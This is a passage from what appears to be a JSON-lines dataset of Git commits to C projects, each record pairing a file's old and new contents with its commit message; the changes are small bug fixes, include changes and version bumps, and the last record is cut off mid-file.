{"commit":"5c3f7221aa63931171d1df852caf3dd93ada39c3","old_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","new_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nstruct call parseCall(char* statement);\nstruct function parseFunction(char* statement);\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = malloc(sizeof(char) * (strlen(code) + 1));\n  fixedCode = strcpy(fixedCode, code);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n\nchar** spcTokenize(char* regCode) {\n  int n = 0;\n  int i;\n  for(i = 0; regCode[i]; i++) {\n    if(regCode[i] == ' ') {\n      n++;\n    }\n  }\n  char** spcTokens = malloc(sizeof(char*) * (n+1));\n  int k;\n  for(i = 0; i < n+1; i++) {\n    k = strchr(regCode, ' ') - regCode;\n    regCode[k] = NULL;\n    spcTokens[i] = regCode + k + 1;\n  }\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = malloc(sizeof(char) * (strlen(code) + 1));\n  fixedCode = strcpy(fixedCode, code);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n\nchar** spcTokenize(char* regCode) {\n  int n = 0;\n  int i;\n  for(i = 0; regCode[i]; i++) {\n    if(regCode[i] == ' ') {\n      n++;\n    }\n  }\n  char** spcTokens = malloc(sizeof(char*) * (n+1));\n  int k;\n  for(i = 0; i < n+1; i++) {\n    k = strchr(regCode, ' ') - regCode;\n    regCode[k] = NULL;\n    spcTokens[i] = regCode + k + 1;\n  }\n  return spcTokens;\n}\n","subject":"Add a return statement to spcTokenize.","message":"Add a return statement to spcTokenize.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"ef9fbe24b8f633c72fb423338eff7e4b60e8c987","old_file":"debug.c","new_file":"debug.c","old_contents":"#include <stdio.h>\n#include <ctype.h>\n\n#include \"debug.h\"\n\n#ifndef NDEBUG\n\nregex_t _comp;\n\n\/\/ Initialize the regular expression used for restricting debug output\nstatic void __attribute__ ((constructor)) premain()\n{\n\tif (regcomp(&_comp, DCOMPONENT, REG_EXTENDED|REG_ICASE|REG_NOSUB))\n\t\tdie(\"mayb not a valid regexp: %s\", DCOMPONENT);\n}\n\n\n\/\/ Print a hexdump of the given block\nvoid hexdump(const void * const ptr, const unsigned len)\n{\n\tconst char * const buf = (const char * const)ptr;\n\tfor (unsigned i = 0; i < len; i += 16) {\n\t\tfprintf(stderr, \"%06x: \", i);\n\t\tfor (unsigned j = 0; j < 16; j++)\n\t\t\tif (i+j < len)\n\t\t\t\tfprintf(stderr, \"%02hhx \", buf[i+j]);\n\t\t\telse\n\t\t\t\tfprintf(stderr, \"   \");\n\t\t\tfprintf(stderr, \" \");\n\t\tfor (unsigned j = 0; j < 16; j++)\n\t\t\tif (i+j < len)\n\t\t\t\tfprintf(stderr, \"%c\",\n\t\t\t\t\tisprint(buf[i+j]) ? buf[i+j] : '.');\n\t\tfprintf(stderr, \"\\n\");\n\t}\n}\n\n#endif\n","new_contents":"#include <stdio.h>\n#include <ctype.h>\n\n#include \"debug.h\"\n\n#ifndef NDEBUG\n\nchar *col[6] = { MAG, RED, YEL, CYN, BLU, GRN };\n\nregex_t _comp;\n\n\/\/ Initialize the regular expression used for restricting debug output\nstatic void __attribute__ ((constructor)) premain()\n{\n\tif (regcomp(&_comp, DCOMPONENT, REG_EXTENDED|REG_ICASE|REG_NOSUB))\n\t\tdie(\"may not be a valid regexp: %s\", DCOMPONENT);\n}\n\n\n\/\/ Print a hexdump of the given block\nvoid hexdump(const void * const ptr, const unsigned len)\n{\n\tconst char * const buf = (const char * const)ptr;\n\tfor (unsigned i = 0; i < len; i += 16) {\n\t\tfprintf(stderr, \"%06x: \", i);\n\t\tfor (unsigned j = 0; j < 16; j++)\n\t\t\tif (i+j < len)\n\t\t\t\tfprintf(stderr, \"%02hhx \", buf[i+j]);\n\t\t\telse\n\t\t\t\tfprintf(stderr, \"   \");\n\t\t\tfprintf(stderr, \" \");\n\t\tfor (unsigned j = 0; j < 16; j++)\n\t\t\tif (i+j < len)\n\t\t\t\tfprintf(stderr, \"%c\",\n\t\t\t\t\tisprint(buf[i+j]) ? buf[i+j] : '.');\n\t\tfprintf(stderr, \"\\n\");\n\t}\n}\n\n#endif\n","subject":"Fix typo in message and add colors","message":"Fix typo in message and add colors\n","lang":"C","license":"bsd-2-clause","repos":"NTAP\/warpcore,NTAP\/warpcore,NTAP\/warpcore,NTAP\/warpcore"}
{"commit":"243b732749fa31bbcc523ad85072e9389ad128e9","old_file":"templates\/VpiListener.h","new_file":"templates\/VpiListener.h","old_contents":"\/\/ -*- c++ -*-\n\n\/*\n\n Copyright 2019 Alain Dargelas\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n\/*\n * File:   VpiListener.h\n * Author: alaindargelas\n *\n * Created on December 14, 2019, 10:03 PM\n *\/\n\n#ifndef UHDM_VPILISTENER_CLASS_H\n#define UHDM_VPILISTENER_CLASS_H\n\n#include \"headers\/uhdm_forward_decl.h\"\n\nnamespace UHDM {\n\n  class VpiListener {\n  public:\n    \/\/ Use implicit constructor to initialize all members\n    \/\/ VpiListener()\n\n    virtual ~VpiListener() {}\n\n<VPI_LISTENER_METHODS>\n\n  protected:\n\n  };\n\n};\n\n\n#endif\n","new_contents":"\/\/ -*- c++ -*-\n\n\/*\n\n Copyright 2019 Alain Dargelas\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n\/*\n * File:   VpiListener.h\n * Author: alaindargelas\n *\n * Created on December 14, 2019, 10:03 PM\n *\/\n\n#ifndef UHDM_VPILISTENER_CLASS_H\n#define UHDM_VPILISTENER_CLASS_H\n\n#include \"headers\/uhdm_forward_decl.h\"\n#include \"include\/vpi_user.h\"\n\nnamespace UHDM {\nclass VpiListener {\npublic:\n  \/\/ Use implicit constructor to initialize all members\n  \/\/ VpiListener()\n\n  virtual ~VpiListener() {}\n\n<VPI_LISTENER_METHODS>\n};\n\n}  \/\/ namespace UHDM\n\n\n#endif\n","subject":"Use of vpiHandle requires inclusion of vpi_user.","message":"Use of vpiHandle requires inclusion of vpi_user.\n\nSigned-off-by: Henner Zeller <259ad50fabbfd39355f36ecd6c0afca541ea66ef@acm.org>\n","lang":"C","license":"apache-2.0","repos":"chipsalliance\/UHDM,chipsalliance\/UHDM,chipsalliance\/UHDM"}
{"commit":"ff49a712c4cc188cdd7d0207595d99c89fe985f0","old_file":"modules\/gadgeteer\/gadget\/Type\/DeviceInterface.h","new_file":"modules\/gadgeteer\/gadget\/Type\/DeviceInterface.h","old_contents":"#ifndef _VJ_DEVICE_INTERFACE_H_\n#define _VJ_DEVICE_INTERFACE_H_\n\n\/\/: Base class for simplified interfaces\n\/\/\n\/\/ Interfaces provide an easier way to access proxy objects from\n\/\/ within user applications. <br> <br>\n\/\/\n\/\/ Users can simply declare a local interface variable and use it\n\/\/ as a smart_ptr for the proxy\n\/\/\n\/\/! NOTE: The init function should be called in the init function of the user\n\/\/+         application\n\n#include <mstring.h>\n\nclass vjDeviceInterface\n{\npublic:\n   vjDeviceInterface() : mProxyIndex(-1)\n   {;}\n\n   \/\/: Initialize the object\n   \/\/! ARGS: proxyName - String name of the proxy to connect to\n   void init(string proxyName);\n\n   \/\/: Return the index of the proxy\n   int getProxyIndex()\n   {  return mProxyIndex; }\n\nprotected:\n   int mProxyIndex;        \/\/: The index of the proxy\n};\n\n#endif\n","new_contents":"#ifndef _VJ_DEVICE_INTERFACE_H_\n#define _VJ_DEVICE_INTERFACE_H_\n\n\/\/: Base class for simplified interfaces\n\/\/\n\/\/ Interfaces provide an easier way to access proxy objects from\n\/\/ within user applications. <br> <br>\n\/\/\n\/\/ Users can simply declare a local interface variable and use it\n\/\/ as a smart_ptr for the proxy\n\/\/\n\/\/! NOTE: The init function should be called in the init function of the user\n\/\/+         application\n\n#include <vjConfig.h>\n\nclass vjDeviceInterface\n{\npublic:\n   vjDeviceInterface() : mProxyIndex(-1)\n   {;}\n\n   \/\/: Initialize the object\n   \/\/! ARGS: proxyName - String name of the proxy to connect to\n   void init(string proxyName);\n\n   \/\/: Return the index of the proxy\n   int getProxyIndex()\n   {  return mProxyIndex; }\n\nprotected:\n   int mProxyIndex;        \/\/: The index of the proxy\n};\n\n#endif\n","subject":"Include vjConfig.h rather than mstring.h to get the basic_string implmentation.","message":"Include vjConfig.h rather than mstring.h to get the basic_string\nimplmentation.\n\n\ngit-svn-id: 769d22dfa2d22aad706b9a451492fb87c0735f19@596 08b38cba-cd3b-11de-854e-f91c5b6e4272\n","lang":"C","license":"lgpl-2.1","repos":"godbyk\/vrjuggler-upstream-old,vancegroup-mirrors\/vrjuggler,vancegroup-mirrors\/vrjuggler,LiuKeHua\/vrjuggler,godbyk\/vrjuggler-upstream-old,vancegroup-mirrors\/vrjuggler,vrjuggler\/vrjuggler,MichaelMcDonnell\/vrjuggler,godbyk\/vrjuggler-upstream-old,godbyk\/vrjuggler-upstream-old,vrjuggler\/vrjuggler,MichaelMcDonnell\/vrjuggler,vrjuggler\/vrjuggler,MichaelMcDonnell\/vrjuggler,vancegroup-mirrors\/vrjuggler,LiuKeHua\/vrjuggler,LiuKeHua\/vrjuggler,MichaelMcDonnell\/vrjuggler,LiuKeHua\/vrjuggler,vrjuggler\/vrjuggler,MichaelMcDonnell\/vrjuggler,LiuKeHua\/vrjuggler,vrjuggler\/vrjuggler,godbyk\/vrjuggler-upstream-old,MichaelMcDonnell\/vrjuggler,godbyk\/vrjuggler-upstream-old,vrjuggler\/vrjuggler,MichaelMcDonnell\/vrjuggler,LiuKeHua\/vrjuggler,vancegroup-mirrors\/vrjuggler,MichaelMcDonnell\/vrjuggler,LiuKeHua\/vrjuggler,LiuKeHua\/vrjuggler,vancegroup-mirrors\/vrjuggler,vrjuggler\/vrjuggler,vrjuggler\/vrjuggler"}
{"commit":"145736a1f03d709ae39ddfc7da2246d9dc8446bb","old_file":"test\/dbus_client_SUITE_data\/marshal.c","new_file":"test\/dbus_client_SUITE_data\/marshal.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#include <dbus\/dbus.h>\n\nvoid main(int argc, char* argv[]) {\n  DBusMessage* m;\n  dbus_uint32_t arg_a = 0x11223344;\n  char arg_b = 0x42;\n  const dbus_uint64_t array[] = {};\n  const dbus_uint64_t *arg_c = array;\n  char arg_d = 0x23;\n\n  char* wire;\n  int len;\n\n  m = dbus_message_new_method_call(NULL,\n\t\t\t\t   \"\/\",\n\t\t\t\t   NULL,\n\t\t\t\t   \"Test\");\n  dbus_message_append_args(m,\n\t\t\t   DBUS_TYPE_UINT32, &arg_a,\n\t\t\t   DBUS_TYPE_BYTE, &arg_b,\n\t\t\t   DBUS_TYPE_ARRAY, DBUS_TYPE_UINT64, &arg_c, 0,\n\t\t\t   DBUS_TYPE_BYTE, &arg_d,\n\t\t\t   DBUS_TYPE_INVALID);\n  dbus_message_marshal(m, &wire, &len);\n\n  for (int i = 0; i < len; i++) {\n    printf(\"%02x\", wire[i]);\n    if ( (i+1) % 8) {\n      printf(\" \");\n    } else {\n      printf(\"\\n\");\n    }\n  }\n  \n  exit(0);\n}\n","subject":"Add sample C code for comparing serializations","message":"Add sample C code for comparing serializations\n","lang":"C","license":"apache-2.0","repos":"lizenn\/erlang-dbus,lizenn\/erlang-dbus"}
{"commit":"ce941743ce1eefc51c98401514f9165d6d66040e","old_file":"sauce\/memory.h","new_file":"sauce\/memory.h","old_contents":"#ifndef SAUCE_MEMORY_H_\n#define SAUCE_MEMORY_H_\n\n#if SAUCE_STD_SMART_PTR\n  #include <sauce\/internal\/memory\/std.h>\n#elif SAUCE_STD_TR1_SMART_PTR\n  #include <sauce\/internal\/memory\/tr1.h>\n#elif SAUCE_BOOST_SMART_PTR\n  #include <sauce\/internal\/memory\/boost.h>\n#else\n  #error Please define SAUCE_STD_SMART_PTR, SAUCE_STD_TR1_SMART_PTR or SAUCE_BOOST_SMART_PTR\n#endif\n\n#endif \/\/ SAUCE_MEMORY_H_\n","new_contents":"#ifndef SAUCE_MEMORY_H_\n#define SAUCE_MEMORY_H_\n\n#if SAUCE_STD_SMART_PTR\n  #include <sauce\/internal\/memory\/std.h>\n#elif SAUCE_STD_TR1_SMART_PTR\n  #include <sauce\/internal\/memory\/tr1.h>\n#elif SAUCE_BOOST_SMART_PTR\n  #include <sauce\/internal\/memory\/boost.h>\n#else\n  #include <sauce\/internal\/memory\/std.h>\n#endif\n\n#endif \/\/ SAUCE_MEMORY_H_\n","subject":"Use standard smart pointers by default.","message":"Use standard smart pointers by default.\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"82c36b1c384592069dd6637120d15cfd5b674463","old_file":"include\/webdriverxx\/detail\/time.h","new_file":"include\/webdriverxx\/detail\/time.h","old_contents":"#ifndef WEBDRIVERXX_DETAIL_TIME_H\n#define WEBDRIVERXX_DETAIL_TIME_H\n\n#include \"error_handling.h\"\n#include \"..\/types.h\"\n\n#ifdef _WIN32\n\n#include <windows.h>\n\n#else\n\n#include <time.h>\n\n#endif\n\nnamespace webdriverxx {\nnamespace detail {\n\nTimePoint Now() {\n\t#ifdef _WIN32\n\t\tFILETIME time;\n\t\t::GetSystemTimeAsFileTime(&time);\n\t\treturn (static_cast<TimePoint>(time.dwHighDateTime) << 32)\n\t\t\t+ time.dwLowDateTime;\n\t#else\n\t\ttimeval time = {};\n\t\tWEBDRIVERXX_CHECK(0 == gettimeofday(&time, nullptr), \"gettimeofday failure\");\n\t\treturn static_cast<TimePoint>(time.tv_sec)*1000 + time.tv_usec\/1000;\n\t#endif\n}\n\nvoid Sleep(Duration milliseconds) {\n\t#ifdef _WIN32\n\t\t::Sleep(static_cast<DWORD>(milliseconds));\n\t#else\n\t\ttimespec time = { static_cast<time_t>(milliseconds\/1000),\n\t\t\tstatic_cast<long>(milliseconds%1000)*1000000 };\n\t\twhile (nanosleep(&time, &time)) {}\n\t#endif\n}\n\n} \/\/ namespace detail\n} \/\/ namespace webdriverxx\n\n#endif\n","new_contents":"#ifndef WEBDRIVERXX_DETAIL_TIME_H\n#define WEBDRIVERXX_DETAIL_TIME_H\n\n#include \"error_handling.h\"\n#include \"..\/types.h\"\n\n#ifdef _WIN32\n\n#include <windows.h>\n\n#else\n\n#include <time.h>\n\n#endif\n\nnamespace webdriverxx {\nnamespace detail {\n\nTimePoint Now() {\n\t#ifdef _WIN32\n\t\tFILETIME time;\n\t\t::GetSystemTimeAsFileTime(&time);\n\t\treturn ((static_cast<TimePoint>(time.dwHighDateTime) << 32)\n\t\t\t+ time.dwLowDateTime)\/10000;\n\t#else\n\t\ttimeval time = {};\n\t\tWEBDRIVERXX_CHECK(0 == gettimeofday(&time, nullptr), \"gettimeofday failure\");\n\t\treturn static_cast<TimePoint>(time.tv_sec)*1000 + time.tv_usec\/1000;\n\t#endif\n}\n\nvoid Sleep(Duration milliseconds) {\n\t#ifdef _WIN32\n\t\t::Sleep(static_cast<DWORD>(milliseconds));\n\t#else\n\t\ttimespec time = { static_cast<time_t>(milliseconds\/1000),\n\t\t\tstatic_cast<long>(milliseconds%1000)*1000000 };\n\t\twhile (nanosleep(&time, &time)) {}\n\t#endif\n}\n\n} \/\/ namespace detail\n} \/\/ namespace webdriverxx\n\n#endif\n","subject":"Fix Win32 implementation of Now()","message":"Fix Win32 implementation of Now()\n","lang":"C","license":"mit","repos":"sekogan\/webdriverxx,sekogan\/webdriverxx,sekogan\/webdriverxx"}
{"commit":"58d8646c8cd7e8b7ca6624e2650a1bf52fd2ec36","old_file":"include\/sajson_ostream.h","new_file":"include\/sajson_ostream.h","old_contents":"#pragma once\n\n#include \"sajson.h\"\n#include <ostream>\n\nnamespace sajson {\ninline std::ostream& operator<<(std::ostream& os, type t) {\n    switch (t) {\n    case TYPE_INTEGER:\n        return os << \"<integer>\";\n    case TYPE_DOUBLE:\n        return os << \"<double>\";\n    case TYPE_NULL:\n        return os << \"<null>\";\n    case TYPE_FALSE:\n        return os << \"<false>\";\n    case TYPE_TRUE:\n        return os << \"<true>\";\n    case TYPE_STRING:\n        return os << \"<string>\";\n    case TYPE_ARRAY:\n        return os << \"<array>\";\n    case TYPE_OBJECT:\n        return os << \"<object>\";\n    default:\n        return os << \"<unknown type\";\n    }\n}\n} \/\/ namespace sajson\n","new_contents":"#pragma once\n\n#include \"sajson.h\"\n#include <ostream>\n\nnamespace sajson {\ninline std::ostream& operator<<(std::ostream& os, type t) {\n    switch (t) {\n    case TYPE_INTEGER:\n        return os << \"<integer>\";\n    case TYPE_DOUBLE:\n        return os << \"<double>\";\n    case TYPE_NULL:\n        return os << \"<null>\";\n    case TYPE_FALSE:\n        return os << \"<false>\";\n    case TYPE_TRUE:\n        return os << \"<true>\";\n    case TYPE_STRING:\n        return os << \"<string>\";\n    case TYPE_ARRAY:\n        return os << \"<array>\";\n    case TYPE_OBJECT:\n        return os << \"<object>\";\n    default:\n        return os << \"<unknown type>\";\n    }\n}\n} \/\/ namespace sajson\n","subject":"Add missing closing angle bracket","message":"Add missing closing angle bracket","lang":"C","license":"mit","repos":"iboB\/sajson,chadaustin\/sajson,chadaustin\/sajson,chadaustin\/sajson,chadaustin\/sajson,chadaustin\/sajson,iboB\/sajson,chadaustin\/sajson,iboB\/sajson,iboB\/sajson,iboB\/sajson,iboB\/sajson"}
{"commit":"d5105abdf717676f4801fb5e31c7cb0f62f11eab","old_file":"src\/utils\/cuda_helper.h","new_file":"src\/utils\/cuda_helper.h","old_contents":"#ifndef SRC_UTILS_CUDA_HELPER_H_\n\n#define SRC_UTILS_CUDA_HELPER_H_\n\n#include <cuda.h>\n#include <cuda_runtime.h>\n#include <iostream>\n#include <stdexcept>\n\nstatic void HandleError(cudaError_t error, const char *file, int line)\n{\n  if (error != cudaSuccess)\n  {\n    printf(\"%s in %s at line %d\\n\", cudaGetErrorString(error), file, line);\n    throw std::runtime_error(cudaGetErrorString(error));\n  }\n}\n\n#define HANDLE_ERROR(error) (HandleError(error, __FILE__, __LINE__))\n\n#define HANDLE_NULL(a)                                                         \\\n  {                                                                            \\\n    if (a == NULL)                                                             \\\n    {                                                                          \\\n      printf(\"Host memory failed in %s at line %d\\n\", __FILE__, __LINE__);     \\\n      exit(EXIT_FAILURE);                                                      \\\n    }                                                                          \\\n  }\n\n#endif  \/\/ SRC_UTILS_CUDA_HELPER_H_\n","new_contents":"#ifndef SRC_UTILS_CUDA_HELPER_H_\n\n#define SRC_UTILS_CUDA_HELPER_H_\n\n#include <cuda.h>\n#include <cuda_runtime.h>\n#include <iostream>\n#include <stdexcept>\n\n#define HANDLE_ERROR(error)                                                    \\\n  {                                                                            \\\n    if (error != cudaSuccess)                                                  \\\n    {                                                                          \\\n      printf(\"%s in %s at line %d\\n\", cudaGetErrorString(error), __FILE__,     \\\n             __LINE__);                                                        \\\n      throw std::runtime_error(cudaGetErrorString(error));                     \\\n    }                                                                          \\\n  }\n\n#define HANDLE_NULL(a)                                                         \\\n  {                                                                            \\\n    if (a == NULL)                                                             \\\n    {                                                                          \\\n      printf(\"Host memory failed in %s at line %d\\n\", __FILE__, __LINE__);     \\\n      exit(EXIT_FAILURE);                                                      \\\n    }                                                                          \\\n  }\n\n#endif  \/\/ SRC_UTILS_CUDA_HELPER_H_\n","subject":"Move static function into macro to circumvent unused function waringn-erros.","message":"Move static function into macro to circumvent unused function waringn-erros.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"76e0a594de107adf654bf8b13a6bcc1480d05184","old_file":"include\/lomse_version.h","new_file":"include\/lomse_version.h","old_contents":"\/\/---------------------------------------------------------------------------------------\n\/\/ This file is part of the Lomse library.\n\/\/ Do not alter layout. Will affect CMakeLists.txt data extraction code\n\/\/\n\/\/                             | All values aligned here\n#define LOMSE_VERSION_MAJOR    0\n#define LOMSE_VERSION_MINOR    16\n#define LOMSE_VERSION_TYPE     ' '\n#define LOMSE_VERSION_PATCH    2\n#define LOMSE_VERSION_REVNO    134\n#define LOMSE_VERSION_DATE     \"2016-01-25 12:41:25 +01:00\"\n\n","new_contents":"\/\/---------------------------------------------------------------------------------------\n\/\/ This file is part of the Lomse library.\n\/\/ Do not alter layout. Will affect CMakeLists.txt data extraction code\n\/\/\n\/\/                             | All values aligned here\n#define LOMSE_VERSION_MAJOR    0\n#define LOMSE_VERSION_MINOR    16\n#define LOMSE_VERSION_TYPE     ' '\n#define LOMSE_VERSION_PATCH    2\n#define LOMSE_VERSION_REVNO    139\n#define LOMSE_VERSION_DATE     \"2016-01-25 13:59:34 +01:00\"\n\n","subject":"Update revno in config file","message":"Update revno in config file\n","lang":"C","license":"mit","repos":"lenmus\/lomse,lenmus\/lomse,lenmus\/lomse"}
{"commit":"54a079f94107a1ad655ee0cb3314eb76c90f09c0","old_file":"check\/tests\/check_check_main.c","new_file":"check\/tests\/check_check_main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_nfailed);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_ntests);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Use correct variable for number of tests","message":"Use correct variable for number of tests\n\n\ngit-svn-id: ae38cf1093b87151f738d2b2220cac7742ad2e55@230 64e312b2-a51f-0410-8e61-82d0ca0eb02a\n","lang":"C","license":"lgpl-2.1","repos":"lubosz\/check,lubosz\/check,lubosz\/check,lubosz\/check"}
{"commit":"e60f388234367f69c295b2b291d7339eb9cac7b7","old_file":"inline_dbg_lbl.c","new_file":"inline_dbg_lbl.c","old_contents":"","new_contents":"\/\/ ucc -g tim.c\n\n_Noreturn void abort()\n{\n\t__builtin_unreachable();\n}\n\nvoid realloc()\n{\n\tint local = 5;\n\tabort();\n}\n","subject":"Debug label inline function bug","message":"Debug label inline function bug\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"d697806b15a0bb6158146f545554d8aa6ffcadc9","old_file":"src\/powerman.c","new_file":"src\/powerman.c","old_contents":"\/*! \\file\n * \\\\brief This file is for later use for power management functions as we see fit for them.\n * May not even use at all.\n *\/\n\n\/\/test test\n","new_contents":"\/*! \\file\n * \\\\brief This file is for later use for power management functions as we see fit for them.\n * May not even use at all.\n *\/","subject":"Revert \"added testing comment for testing!\"","message":"Revert \"added testing comment for testing!\"\n\nThis reverts commit ffc29b89462973571224e523eaf0c69fef88b1f2.\n","lang":"C","license":"bsd-2-clause","repos":"bplainia\/galaxyLightingSystem,bplainia\/galaxyLightingSystem,bplainia\/galaxyLightingSystem,bplainia\/galaxyLightingSystem,bplainia\/galaxyLightingSystem"}
{"commit":"7788edff9108cafc593759e9e406d6da6509c799","old_file":"test\/tstnmem.c","new_file":"test\/tstnmem.c","old_contents":"\/*\n * Copyright (c) 2002-2004, Index Data\n * See the file LICENSE for details.\n *\n * $Id: tstnmem.c,v 1.2 2004-09-29 20:15:48 adam Exp $\n *\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <errno.h>\n#include <string.h>\n#include <stdlib.h>\n#include <ctype.h>\n\n#include <yaz\/nmem.h>\n\nint main (int argc, char **argv)\n{\n    void *cp;\n    NMEM n;\n    int j;\n\n    nmem_init();\n    n = nmem_create();\n    if (!n)\n        exit (1);\n    for (j = 1; j<500; j++)\n    {\n        cp = nmem_malloc(n, j);\n        if (!cp)\n            exit(2);\n    }\n    \n    for (j = 2000; j<20000; j+= 2000)\n    {\n        cp = nmem_malloc(n, j);\n        if (!cp)\n            exit(3);\n    }\n    nmem_destroy(n);\n    nmem_exit();\n    exit(0);\n}\n","new_contents":"\/*\n * Copyright (c) 2002-2004, Index Data\n * See the file LICENSE for details.\n *\n * $Id: tstnmem.c,v 1.3 2005-01-05 10:29:42 adam Exp $\n *\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <errno.h>\n#include <string.h>\n#include <stdlib.h>\n#include <ctype.h>\n\n#include <yaz\/nmem.h>\n\nint main (int argc, char **argv)\n{\n    void *cp;\n    NMEM n;\n    int j;\n\n    nmem_init();\n    n = nmem_create();\n    if (!n)\n        exit (1);\n    for (j = 1; j<500; j++)\n    {\n        cp = nmem_malloc(n, j);\n        if (!cp)\n            exit(2);\n\tif (sizeof(long) >= j)\n\t    *(long*) cp = 123L;\n#if HAVE_LONG_LONG\n\tif (sizeof(long long) >= j)\n\t    *(long long*) cp = 123L;\n#endif\n\tif (sizeof(double) >= j)\n\t    *(double*) cp = 12.2;\n    }\n    \n    for (j = 2000; j<20000; j+= 2000)\n    {\n        cp = nmem_malloc(n, j);\n        if (!cp)\n            exit(3);\n    }\n    nmem_destroy(n);\n    nmem_exit();\n    exit(0);\n}\n","subject":"Check that assignments to NMEM memory for some basic types","message":"Check that assignments to NMEM memory for some basic types\n","lang":"C","license":"bsd-3-clause","repos":"dcrossleyau\/yaz,nla\/yaz,dcrossleyau\/yaz,nla\/yaz,nla\/yaz,dcrossleyau\/yaz,nla\/yaz"}
{"commit":"e7deadc8985652879ec54c0943d6b396eba60598","old_file":"libmultipath\/defaults.h","new_file":"libmultipath\/defaults.h","old_contents":"#define DEFAULT_GETUID\t\t\"\/lib\/udev\/scsi_id --whitelisted --device=\/dev\/%n\"\n#define DEFAULT_UDEVDIR\t\t\"\/dev\"\n#define DEFAULT_MULTIPATHDIR\t\"\/\" LIB_STRING \"\/multipath\"\n#define DEFAULT_SELECTOR\t\"round-robin 0\"\n#define DEFAULT_ALIAS_PREFIX\t\"mpath\"\n#define DEFAULT_FEATURES\t\"0\"\n#define DEFAULT_HWHANDLER\t\"0\"\n#define DEFAULT_MINIO\t\t1000\n#define DEFAULT_MINIO_RQ\t1\n#define DEFAULT_PGPOLICY       FAILOVER\n#define DEFAULT_FAILBACK       -FAILBACK_MANUAL\n#define DEFAULT_RR_WEIGHT      RR_WEIGHT_NONE\n#define DEFAULT_NO_PATH_RETRY  NO_PATH_RETRY_UNDEF\n#define DEFAULT_PGTIMEOUT      -PGTIMEOUT_NONE\n#define DEFAULT_USER_FRIENDLY_NAMES    0\n#define DEFAULT_VERBOSITY\t2\n\n#define DEFAULT_CHECKINT\t5\n#define MAX_CHECKINT(a)\t\t(a << 2)\n\n#define DEFAULT_PIDFILE\t\t\"\/var\/run\/multipathd.pid\"\n#define DEFAULT_SOCKET\t\t\"\/var\/run\/multipathd.sock\"\n#define 